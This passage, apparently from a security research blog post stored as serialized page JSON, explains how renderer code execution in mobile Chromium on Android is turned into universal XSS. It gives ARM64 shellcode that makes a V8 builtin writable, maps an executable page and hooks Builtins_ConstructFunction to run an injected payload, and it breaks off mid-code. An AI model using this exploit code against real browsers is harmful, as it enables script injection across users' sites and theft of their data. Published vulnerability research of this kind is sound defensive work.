8,"value":1224},{"type":23,"tag":134,"props":138663,"children":138664},{"style":179},[138665],{"type":28,"value":687},{"type":23,"tag":134,"props":138667,"children":138668},{"class":136,"line":814},[138669],{"type":23,"tag":134,"props":138670,"children":138671},{"style":179},[138672],{"type":28,"value":133996},{"type":23,"tag":134,"props":138674,"children":138675},{"class":136,"line":827},[138676,138680,138684,138688,138692,138696,138700,138704,138708,138712,138716],{"type":23,"tag":134,"props":138677,"children":138678},{"style":151},[138679],{"type":28,"value":7314},{"type":23,"tag":134,"props":138681,"children":138682},{"style":162},[138683],{"type":28,"value":135449},{"type":23,"tag":134,"props":138685,"children":138686},{"style":168},[138687],{"type":28,"value":171},{"type":23,"tag":134,"props":138689,"children":138690},{"style":264},[138691],{"type":28,"value":135458},{"type":23,"tag":134,"props":138693,"children":138694},{"style":179},[138695],{"type":28,"value":272},{"type":23,"tag":134,"props":138697,"children":138698},{"style":162},[138699],{"type":28,"value":133327},{"type":23,"tag":134,"props":138701,"children":138702},{"style":179},[138703],{"type":28,"value":242},{"type":23,"tag":134,"props":138705,"children":138706},{"style":162},[138707],{"type":28,"value":124654},{"type":23,"tag":134,"props":138709,"children":138710},{"style":179},[138711],{"type":28,"value":720},{"type":23,"tag":134,"props":138713,"children":138714},{"style":162},[138715],{"type":28,"value":124654},{"type":23,"tag":134,"props":138717,"children":138718},{"style":179},[138719],{"type":28,"value":1021},{"type":23,"tag":134,"props":138721,"children":138722},{"class":136,"line":836},[138723,138727,138731,138735,138739,138743,138747,138751,138755,138759],{"type":23,"tag":134,"props":138724,"children":138725},{"style":162},[138726],{"type":28,"value":135494},{"type":23,"tag":134,"props":138728,"children":138729},{"style":168},[138730],{"type":28,"value":171},{"type":23,"tag":134,"props":138732,"children":138733},{"style":179},[138734],{"type":28,"value":232},{"type":23,"tag":134,"props":138736,"children":138737},{"style":189},[138738],{"type":28,"value":32412},{"type":23,"tag":134,"props":138740,"children":138741},{"style":162},[138742],{"type":28,"value":135449},{"type":23,"tag":134,"props":138744,"children":138745},{"style":179},[138746],{"type":28,"value":720},{"type":23,"tag":134,"props":138748,"children":138749},{"style":264},[138750],{"type":28,"value":57072},{"type":23,"tag":134,"props":138752,"children":138753},{"style":179},[138754],{"type":28,"value":135523},{"type":23,"tag":134,"props":138756,"children":138757},{"style":162},[138758],{"type":28,"value":38650},{"type":23,"tag":134,"props":138760,"children":138761},{"style":179},[138762],{"type":28,"value":182},{"type":23,"tag":134,"props":138764,"children":138765},{"class":136,"line":859},[138766,138770,138774,138778,138782,138787,138791,138795],{"type":23,"tag":134,"props":138767,"children":138768},{"style":162},[138769],{"type":28,"value":101456},{"type":23,"tag":134,"props":138771,"children":138772},{"style":179},[138773],{"type":28,"value":720},{"type":23,"tag":134,"props":138775,"children":138776},{"style":264},[138777],{"type":28,"value":101465},{"type":23,"tag":134,"props":138779,"children":138780},{"style":179},[138781],{"type":28,"value":272},{"type":23,"tag":134,"props":138783,"children":138784},{"style":1461},[138785],{"type":28,"value":138786},"'DeserializeWasmModule result: '",{"type":23,"tag":134,"props":138788,"children":138789},{"style":168},[138790],{"type":28,"value":8365},{"type":23,"tag":134,"props":138792,"children":138793},{"style":162},[138794],{"type":28,"value":8622},{"type":23,"tag":134,"props":138796,"children":138797},{"style":179},[138798],{"type":28,"value":1021},{"type":23,"tag":134,"props":138800,"children":138801},{"class":136,"line":868},[138802,138806,138810,138814,138818,138822,138826,138830,138834,138838],{"type":23,"tag":134,"props":138803,"children":138804},{"style":151},[138805],{"type":28,"value":35686},{"type":23,"tag":134,"props":138807,"children":138808},{"style":162},[138809],{"type":28,"value":135543},{"type":23,"tag":134,"props":138811,"children":138812},{"style":168},[138813],{"type":28,"value":171},{"type":23,"tag":134,"props":138815,"children":138816},{"style":151},[138817],{"type":28,"value":31428},{"type":23,"tag":134,"props":138819,"children":138820},{"style":162},[138821],{"type":28,"value":133310},{"type":23,"tag":134,"props":138823,"children":138824},{"style":179},[138825],{"type":28,"value":720},{"type":23,"tag":134,"props":138827,"children":138828},{"style":264},[138829],{"type":28,"value":133364},{"type":23,"tag":134,"props":138831,"children":138832},{"style":179},[138833],{"type":28,"value":272},{"type":23,"tag":134,"props":138835,"children":138836},{"style":162},[138837],{"type":28,"value":8544},{"type":23,"tag":134,"props":138839,"children":138840},{"style":179},[138841],{"type":28,"value":1021},{"type":23,"tag":134,"props":138843,"children":138844},{"class":136,"line":877},[138845,138849,138853,138857,138861,138865,138869,138873,138877],{"type":23,"tag":134,"props":138846,"children":138847},{"style":151},[138848],{"type":28,"value":35686},{"type":23,"tag":134,"props":138850,"children":138851},{"style":162},[138852],{"type":28,"value":32467},{"type":23,"tag":134,"props":138854,"children":138855},{"style":168},[138856],{"type":28,"value":171},{"type":23,"tag":134,"props":138858,"children":138859},{"style":162},[138860],{"type":28,"value":135543},{"type":23,"tag":134,"props":138862,"children":138863},{"style":179},[138864],{"type":28,"value":720},{"type":23,"tag":134,"props":138866,"children":138867},{"style":162},[138868],{"type":28,"value":37384},{"type":23,"tag":134,"props":138870,"children":138871},{"style":179},[138872],{"type":28,"value":720},{"type":23,"tag":134,"props":138874,"children":138875},{"style":162},[138876],{"type":28,"value":133413},{"type":23,"tag":134,"props":138878,"children":138879},{"style":179},[138880],{"type":28,"value":182},{"type":23,"tag":134,"props":138882,"children":138883},{"class":136,"line":946},[138884,138888,138892,138896,138900,138904],{"type":23,"tag":134,"props":138885,"children":138886},{"style":162},[138887],{"type":28,"value":101456},{"type":23,"tag":134,"props":138889,"children":138890},{"style":179},[138891],{"type":28,"value":720},{"type":23,"tag":134,"props":138893,"children":138894},{"style":264},[138895],{"type":28,"value":101465},{"type":23,"tag":134,"props":138897,"children":138898},{"style":179},[138899],{"type":28,"value":272},{"type":23,"tag":134,"props":138901,"children":138902},{"style":162},[138903],{"type":28,"value":32581},{"type":23,"tag":134,"props":138905,"children":138906},{"style":179},[138907],{"type":28,"value":1021},{"type":23,"tag":134,"props":138909,"children":138910},{"class":136,"line":954},[138911],{"type":23,"tag":134,"props":138912,"children":138913},{"style":179},[138914],{"type":28,"value":101497},{"type":23,"tag":24,"props":138916,"children":138917},{},[138918],{"type":28,"value":138919},"And this time, it works as expected:",{"type":23,"tag":24,"props":138921,"children":138922},{},[138923],{"type":23,"tag":1116,"props":138924,"children":138927},{"alt":138925,"src":138926},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":9072,"props":138929,"children":138931},{"id":138930},"achieving-universal-xss",[138932],{"type":28,"value":138933},"Achieving Universal XSS",{"type":23,"tag":24,"props":138935,"children":138936},{},[138937,138939,138945,138947,138954],{"type":28,"value":138938},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":31,"props":138940,"children":138943},{"href":138941,"rel":138942},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[35],[138944],{"type":28,"value":69841},{"type":28,"value":138946}," from Tencent Security and ",{"type":23,"tag":31,"props":138948,"children":138951},{"href":138949,"rel":138950},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[35],[138952],{"type":28,"value":138953},"research article",{"type":28,"value":138955}," from InterruptLabs.",{"type":23,"tag":24,"props":138957,"children":138958},{},[138959,138961,138968],{"type":28,"value":138960},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":31,"props":138962,"children":138965},{"href":138963,"rel":138964},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[35],[138966],{"type":28,"value":138967},"weaker version",{"type":28,"value":138969}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":138971,"children":138972},{},[138973,138975,138981],{"type":28,"value":138974},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":92,"props":138976,"children":138978},{"className":138977},[],[138979],{"type":28,"value":138980},"Builtins_ConstructFunction",{"type":28,"value":138982},", making it a natural target.",{"type":23,"tag":24,"props":138984,"children":138985},{},[138986,138988,138993],{"type":28,"value":138987},"Our goal is for ",{"type":23,"tag":92,"props":138989,"children":138991},{"className":138990},[],[138992],{"type":28,"value":138980},{"type":28,"value":138994}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":16158,"props":138996,"children":138997},{},[138998,139003,139013],{"type":23,"tag":4894,"props":138999,"children":139000},{},[139001],{"type":28,"value":139002},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":4894,"props":139004,"children":139005},{},[139006,139008],{"type":28,"value":139007},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":92,"props":139009,"children":139011},{"className":139010},[],[139012],{"type":28,"value":138980},{"type":23,"tag":4894,"props":139014,"children":139015},{},[139016,139018,139023],{"type":28,"value":139017},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":92,"props":139019,"children":139021},{"className":139020},[],[139022],{"type":28,"value":138980},{"type":28,"value":139024},", which now proceeds normally",{"type":23,"tag":24,"props":139026,"children":139027},{},[139028],{"type":28,"value":139029},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":87,"props":139031,"children":139035},{"code":139032,"language":139033,"meta":7,"className":139034,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[139036],{"type":23,"tag":92,"props":139037,"children":139038},{"__ignoreMap":7},[139039,139047,139055,139063,139071,139078,139086,139094,139102,139110,139117,139125,139133,139141,139149,139157,139164,139172,139180,139188,139196,139204,139212,139219,139227,139234,139242,139250,139258,139265,139273,139281,139289,139297,139304,139311,139318,139325,139333,139341,139349,139356,139364,139372,139379,139387,139395,139403,139410,139418,139426,139434,139442,139449,139456,139464],{"type":23,"tag":134,"props":139040,"children":139041},{"class":136,"line":137},[139042],{"type":23,"tag":134,"props":139043,"children":139044},{},[139045],{"type":28,"value":139046},"// get return addr to x0\n",{"type":23,"tag":134,"props":139048,"children":139049},{"class":136,"line":147},[139050],{"type":23,"tag":134,"props":139051,"children":139052},{},[139053],{"type":28,"value":139054},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":134,"props":139056,"children":139057},{"class":136,"line":185},[139058],{"type":23,"tag":134,"props":139059,"children":139060},{},[139061],{"type":28,"value":139062},"// strip pac signature from return address\n",{"type":23,"tag":134,"props":139064,"children":139065},{"class":136,"line":221},[139066],{"type":23,"tag":134,"props":139067,"children":139068},{},[139069],{"type":28,"value":139070},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":134,"props":139072,"children":139073},{"class":136,"line":332},[139074],{"type":23,"tag":134,"props":139075,"children":139076},{"emptyLinePlaceholder":15},[139077],{"type":28,"value":865},{"type":23,"tag":134,"props":139079,"children":139080},{"class":136,"line":438},[139081],{"type":23,"tag":134,"props":139082,"children":139083},{},[139084],{"type":28,"value":139085},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":134,"props":139087,"children":139088},{"class":136,"line":466},[139089],{"type":23,"tag":134,"props":139090,"children":139091},{},[139092],{"type":28,"value":139093},"movz x1, #0x610c\n",{"type":23,"tag":134,"props":139095,"children":139096},{"class":136,"line":479},[139097],{"type":23,"tag":134,"props":139098,"children":139099},{},[139100],{"type":28,"value":139101},"sub x0, x0, x1\n",{"type":23,"tag":134,"props":139103,"children":139104},{"class":136,"line":497},[139105],{"type":23,"tag":134,"props":139106,"children":139107},{},[139108],{"type":28,"value":139109},"mov x5, x0\n",{"type":23,"tag":134,"props":139111,"children":139112},{"class":136,"line":518},[139113],{"type":23,"tag":134,"props":139114,"children":139115},{"emptyLinePlaceholder":15},[139116],{"type":28,"value":865},{"type":23,"tag":134,"props":139118,"children":139119},{"class":136,"line":527},[139120],{"type":23,"tag":134,"props":139121,"children":139122},{},[139123],{"type":28,"value":139124},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":134,"props":139126,"children":139127},{"class":136,"line":780},[139128],{"type":23,"tag":134,"props":139129,"children":139130},{},[139131],{"type":28,"value":139132},"movz x1, #0xf000\n",{"type":23,"tag":134,"props":139134,"children":139135},{"class":136,"line":797},[139136],{"type":23,"tag":134,"props":139137,"children":139138},{},[139139],{"type":28,"value":139140},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":134,"props":139142,"children":139143},{"class":136,"line":814},[139144],{"type":23,"tag":134,"props":139145,"children":139146},{},[139147],{"type":28,"value":139148},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":134,"props":139150,"children":139151},{"class":136,"line":827},[139152],{"type":23,"tag":134,"props":139153,"children":139154},{},[139155],{"type":28,"value":139156},"and x4, x5, x1\n",{"type":23,"tag":134,"props":139158,"children":139159},{"class":136,"line":836},[139160],{"type":23,"tag":134,"props":139161,"children":139162},{"emptyLinePlaceholder":15},[139163],{"type":28,"value":865},{"type":23,"tag":134,"props":139165,"children":139166},{"class":136,"line":859},[139167],{"type":23,"tag":134,"props":139168,"children":139169},{},[139170],{"type":28,"value":139171},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":134,"props":139173,"children":139174},{"class":136,"line":868},[139175],{"type":23,"tag":134,"props":139176,"children":139177},{},[139178],{"type":28,"value":139179},"mov x0, x4\n",{"type":23,"tag":134,"props":139181,"children":139182},{"class":136,"line":877},[139183],{"type":23,"tag":134,"props":139184,"children":139185},{},[139186],{"type":28,"value":139187},"mov x1, #0x2000\n",{"type":23,"tag":134,"props":139189,"children":139190},{"class":136,"line":946},[139191],{"type":23,"tag":134,"props":139192,"children":139193},{},[139194],{"type":28,"value":139195},"mov x2, #0x7\n",{"type":23,"tag":134,"props":139197,"children":139198},{"class":136,"line":954},[139199],{"type":23,"tag":134,"props":139200,"children":139201},{},[139202],{"type":28,"value":139203},"mov x8, #226\n",{"type":23,"tag":134,"props":139205,"children":139206},{"class":136,"line":984},[139207],{"type":23,"tag":134,"props":139208,"children":139209},{},[139210],{"type":28,"value":139211},"svc #0\n",{"type":23,"tag":134,"props":139213,"children":139214},{"class":136,"line":992},[139215],{"type":23,"tag":134,"props":139216,"children":139217},{"emptyLinePlaceholder":15},[139218],{"type":28,"value":865},{"type":23,"tag":134,"props":139220,"children":139221},{"class":136,"line":1024},[139222],{"type":23,"tag":134,"props":139223,"children":139224},{},[139225],{"type":28,"value":139226},"mov x6, x5\n",{"type":23,"tag":134,"props":139228,"children":139229},{"class":136,"line":1032},[139230],{"type":23,"tag":134,"props":139231,"children":139232},{"emptyLinePlaceholder":15},[139233],{"type":28,"value":865},{"type":23,"tag":134,"props":139235,"children":139236},{"class":136,"line":1092},[139237],{"type":23,"tag":134,"props":139238,"children":139239},{},[139240],{"type":28,"value":139241},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":134,"props":139243,"children":139244},{"class":136,"line":8508},[139245],{"type":23,"tag":134,"props":139246,"children":139247},{},[139248],{"type":28,"value":139249},"mov x0, #0\n",{"type":23,"tag":134,"props":139251,"children":139252},{"class":136,"line":8526},[139253],{"type":23,"tag":134,"props":139254,"children":139255},{},[139256],{"type":28,"value":139257},"mov x1, #0x1000\n",{"type":23,"tag":134,"props":139259,"children":139260},{"class":136,"line":8571},[139261],{"type":23,"tag":134,"props":139262,"children":139263},{},[139264],{"type":28,"value":139195},{"type":23,"tag":134,"props":139266,"children":139267},{"class":136,"line":8677},[139268],{"type":23,"tag":134,"props":139269,"children":139270},{},[139271],{"type":28,"value":139272},"mov x3, #34\n",{"type":23,"tag":134,"props":139274,"children":139275},{"class":136,"line":22988},[139276],{"type":23,"tag":134,"props":139277,"children":139278},{},[139279],{"type":28,"value":139280},"mov x4, #-1\n",{"type":23,"tag":134,"props":139282,"children":139283},{"class":136,"line":23023},[139284],{"type":23,"tag":134,"props":139285,"children":139286},{},[139287],{"type":28,"value":139288},"mov x5, #0\n",{"type":23,"tag":134,"props":139290,"children":139291},{"class":136,"line":23031},[139292],{"type":23,"tag":134,"props":139293,"children":139294},{},[139295],{"type":28,"value":139296},"mov x8, #222\n",{"type":23,"tag":134,"props":139298,"children":139299},{"class":136,"line":23039},[139300],{"type":23,"tag":134,"props":139301,"children":139302},{},[139303],{"type":28,"value":139211},{"type":23,"tag":134,"props":139305,"children":139306},{"class":136,"line":23048},[139307],{"type":23,"tag":134,"props":139308,"children":139309},{"emptyLinePlaceholder":15},[139310],{"type":28,"value":865},{"type":23,"tag":134,"props":139312,"children":139313},{"class":136,"line":23090},[139314],{"type":23,"tag":134,"props":139315,"children":139316},{},[139317],{"type":28,"value":139109},{"type":23,"tag":134,"props":139319,"children":139320},{"class":136,"line":23123},[139321],{"type":23,"tag":134,"props":139322,"children":139323},{"emptyLinePlaceholder":15},[139324],{"type":28,"value":865},{"type":23,"tag":134,"props":139326,"children":139327},{"class":136,"line":23131},[139328],{"type":23,"tag":134,"props":139329,"children":139330},{},[139331],{"type":28,"value":139332},"// at this point:\n",{"type":23,"tag":134,"props":139334,"children":139335},{"class":136,"line":23139},[139336],{"type":23,"tag":134,"props":139337,"children":139338},{},[139339],{"type":28,"value":139340},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":134,"props":139342,"children":139343},{"class":136,"line":23148},[139344],{"type":23,"tag":134,"props":139345,"children":139346},{},[139347],{"type":28,"value":139348},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":134,"props":139350,"children":139351},{"class":136,"line":23224},[139352],{"type":23,"tag":134,"props":139353,"children":139354},{"emptyLinePlaceholder":15},[139355],{"type":28,"value":865},{"type":23,"tag":134,"props":139357,"children":139358},{"class":136,"line":23257},[139359],{"type":23,"tag":134,"props":139360,"children":139361},{},[139362],{"type":28,"value":139363},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":134,"props":139365,"children":139366},{"class":136,"line":23265},[139367],{"type":23,"tag":134,"props":139368,"children":139369},{},[139370],{"type":28,"value":139371},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":134,"props":139373,"children":139374},{"class":136,"line":23273},[139375],{"type":23,"tag":134,"props":139376,"children":139377},{"emptyLinePlaceholder":15},[139378],{"type":28,"value":865},{"type":23,"tag":134,"props":139380,"children":139381},{"class":136,"line":23310},[139382],{"type":23,"tag":134,"props":139383,"children":139384},{},[139385],{"type":28,"value":139386},"// wipe from cache\n",{"type":23,"tag":134,"props":139388,"children":139389},{"class":136,"line":23323},[139390],{"type":23,"tag":134,"props":139391,"children":139392},{},[139393],{"type":28,"value":139394},"mov x0, x5\n",{"type":23,"tag":134,"props":139396,"children":139397},{"class":136,"line":23336},[139398],{"type":23,"tag":134,"props":139399,"children":139400},{},[139401],{"type":28,"value":139402},"{WIPE_CACHE}\n",{"type":23,"tag":134,"props":139404,"children":139405},{"class":136,"line":23349},[139406],{"type":23,"tag":134,"props":139407,"children":139408},{"emptyLinePlaceholder":15},[139409],{"type":28,"value":865},{"type":23,"tag":134,"props":139411,"children":139412},{"class":136,"line":23403},[139413],{"type":23,"tag":134,"props":139414,"children":139415},{},[139416],{"type":28,"value":139417},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":134,"props":139419,"children":139420},{"class":136,"line":23412},[139421],{"type":23,"tag":134,"props":139422,"children":139423},{},[139424],{"type":28,"value":139425},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":134,"props":139427,"children":139428},{"class":136,"line":31776},[139429],{"type":23,"tag":134,"props":139430,"children":139431},{},[139432],{"type":28,"value":139433},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":134,"props":139435,"children":139436},{"class":136,"line":31797},[139437],{"type":23,"tag":134,"props":139438,"children":139439},{},[139440],{"type":28,"value":139441},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":134,"props":139443,"children":139444},{"class":136,"line":80463},[139445],{"type":23,"tag":134,"props":139446,"children":139447},{"emptyLinePlaceholder":15},[139448],{"type":28,"value":865},{"type":23,"tag":134,"props":139450,"children":139451},{"class":136,"line":80476},[139452],{"type":23,"tag":134,"props":139453,"children":139454},{},[139455],{"type":28,"value":139386},{"type":23,"tag":134,"props":139457,"children":139458},{"class":136,"line":80484},[139459],{"type":23,"tag":134,"props":139460,"children":139461},{},[139462],{"type":28,"value":139463},"mov x0, x6\n",{"type":23,"tag":134,"props":139465,"children":139466},{"class":136,"line":80492},[139467],{"type":23,"tag":134,"props":139468,"children":139469},{},[139470],{"type":28,"value":139402},{"type":23,"tag":24,"props":139472,"children":139473},{},[139474,139476,139482,139484,139489,139491,139497],{"type":28,"value":139475},"In the snippet above, ",{"type":23,"tag":92,"props":139477,"children":139479},{"className":139478},[],[139480],{"type":28,"value":139481},"new_compile_instrs",{"type":28,"value":139483}," refers to the instructions written to the beginning of ",{"type":23,"tag":92,"props":139485,"children":139487},{"className":139486},[],[139488],{"type":28,"value":138980},{"type":28,"value":139490}," that invoke the ",{"type":23,"tag":92,"props":139492,"children":139494},{"className":139493},[],[139495],{"type":28,"value":139496},"uxss_sc",{"type":28,"value":139498}," mmap-ed shellcode:",{"type":23,"tag":87,"props":139500,"children":139502},{"code":139501,"language":139033,"meta":7,"className":139034,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[139503],{"type":23,"tag":92,"props":139504,"children":139505},{"__ignoreMap":7},[139506,139514,139521,139529,139537,139544,139552,139560,139567,139575,139583,139590,139598],{"type":23,"tag":134,"props":139507,"children":139508},{"class":136,"line":137},[139509],{"type":23,"tag":134,"props":139510,"children":139511},{},[139512],{"type":28,"value":139513},"bti c\n",{"type":23,"tag":134,"props":139515,"children":139516},{"class":136,"line":147},[139517],{"type":23,"tag":134,"props":139518,"children":139519},{"emptyLinePlaceholder":15},[139520],{"type":28,"value":865},{"type":23,"tag":134,"props":139522,"children":139523},{"class":136,"line":185},[139524],{"type":23,"tag":134,"props":139525,"children":139526},{},[139527],{"type":28,"value":139528},"// store registers that will be overwritten\n",{"type":23,"tag":134,"props":139530,"children":139531},{"class":136,"line":221},[139532],{"type":23,"tag":134,"props":139533,"children":139534},{},[139535],{"type":28,"value":139536},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":134,"props":139538,"children":139539},{"class":136,"line":332},[139540],{"type":23,"tag":134,"props":139541,"children":139542},{"emptyLinePlaceholder":15},[139543],{"type":28,"value":865},{"type":23,"tag":134,"props":139545,"children":139546},{"class":136,"line":438},[139547],{"type":23,"tag":134,"props":139548,"children":139549},{},[139550],{"type":28,"value":139551},"// get current rip into x15\n",{"type":23,"tag":134,"props":139553,"children":139554},{"class":136,"line":466},[139555],{"type":23,"tag":134,"props":139556,"children":139557},{},[139558],{"type":28,"value":139559},"adr x15, .\n",{"type":23,"tag":134,"props":139561,"children":139562},{"class":136,"line":479},[139563],{"type":23,"tag":134,"props":139564,"children":139565},{"emptyLinePlaceholder":15},[139566],{"type":28,"value":865},{"type":23,"tag":134,"props":139568,"children":139569},{"class":136,"line":497},[139570],{"type":23,"tag":134,"props":139571,"children":139572},{},[139573],{"type":28,"value":139574},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":134,"props":139576,"children":139577},{"class":136,"line":518},[139578],{"type":23,"tag":134,"props":139579,"children":139580},{},[139581],{"type":28,"value":139582},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":134,"props":139584,"children":139585},{"class":136,"line":527},[139586],{"type":23,"tag":134,"props":139587,"children":139588},{"emptyLinePlaceholder":15},[139589],{"type":28,"value":865},{"type":23,"tag":134,"props":139591,"children":139592},{"class":136,"line":780},[139593],{"type":23,"tag":134,"props":139594,"children":139595},{},[139596],{"type":28,"value":139597},"// jump to uxss_sc\n",{"type":23,"tag":134,"props":139599,"children":139600},{"class":136,"line":797},[139601],{"type":23,"tag":134,"props":139602,"children":139603},{},[139604],{"type":28,"value":139605},"blr x15\n",{"type":23,"tag":24,"props":139607,"children":139608},{},[139609,139614,139616,139621],{"type":23,"tag":92,"props":139610,"children":139612},{"className":139611},[],[139613],{"type":28,"value":139496},{"type":28,"value":139615}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":92,"props":139617,"children":139619},{"className":139618},[],[139620],{"type":28,"value":138980},{"type":28,"value":139622}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":87,"props":139624,"children":139626},{"code":139625,"language":139033,"meta":7,"className":139034,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[139627],{"type":23,"tag":92,"props":139628,"children":139629},{"__ignoreMap":7},[139630,139637,139644,139652,139660,139668,139676,139684,139692,139700,139708,139716,139724,139732,139740,139748,139756,139764,139772],{"type":23,"tag":134,"props":139631,"children":139632},{"class":136,"line":137},[139633],{"type":23,"tag":134,"props":139634,"children":139635},{},[139636],{"type":28,"value":139513},{"type":23,"tag":134,"props":139638,"children":139639},{"class":136,"line":147},[139640],{"type":23,"tag":134,"props":139641,"children":139642},{"emptyLinePlaceholder":15},[139643],{"type":28,"value":865},{"type":23,"tag":134,"props":139645,"children":139646},{"class":136,"line":185},[139647],{"type":23,"tag":134,"props":139648,"children":139649},{},[139650],{"type":28,"value":139651},"// Save full register context\n",{"type":23,"tag":134,"props":139653,"children":139654},{"class":136,"line":221},[139655],{"type":23,"tag":134,"props":139656,"children":139657},{},[139658],{"type":28,"value":139659},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":134,"props":139661,"children":139662},{"class":136,"line":332},[139663],{"type":23,"tag":134,"props":139664,"children":139665},{},[139666],{"type":28,"value":139667},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":134,"props":139669,"children":139670},{"class":136,"line":438},[139671],{"type":23,"tag":134,"props":139672,"children":139673},{},[139674],{"type":28,"value":139675},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":134,"props":139677,"children":139678},{"class":136,"line":466},[139679],{"type":23,"tag":134,"props":139680,"children":139681},{},[139682],{"type":28,"value":139683},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":134,"props":139685,"children":139686},{"class":136,"line":479},[139687],{"type":23,"tag":134,"props":139688,"children":139689},{},[139690],{"type":28,"value":139691},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":134,"props":139693,"children":139694},{"class":136,"line":497},[139695],{"type":23,"tag":134,"props":139696,"children":139697},{},[139698],{"type":28,"value":139699},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":134,"props":139701,"children":139702},{"class":136,"line":518},[139703],{"type":23,"tag":134,"props":139704,"children":139705},{},[139706],{"type":28,"value":139707},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":134,"props":139709,"children":139710},{"class":136,"line":527},[139711],{"type":23,"tag":134,"props":139712,"children":139713},{},[139714],{"type":28,"value":139715},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":134,"props":139717,"children":139718},{"class":136,"line":780},[139719],{"type":23,"tag":134,"props":139720,"children":139721},{},[139722],{"type":28,"value":139723},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":134,"props":139725,"children":139726},{"class":136,"line":797},[139727],{"type":23,"tag":134,"props":139728,"children":139729},{},[139730],{"type":28,"value":139731},"stp x18, x19, [sp, 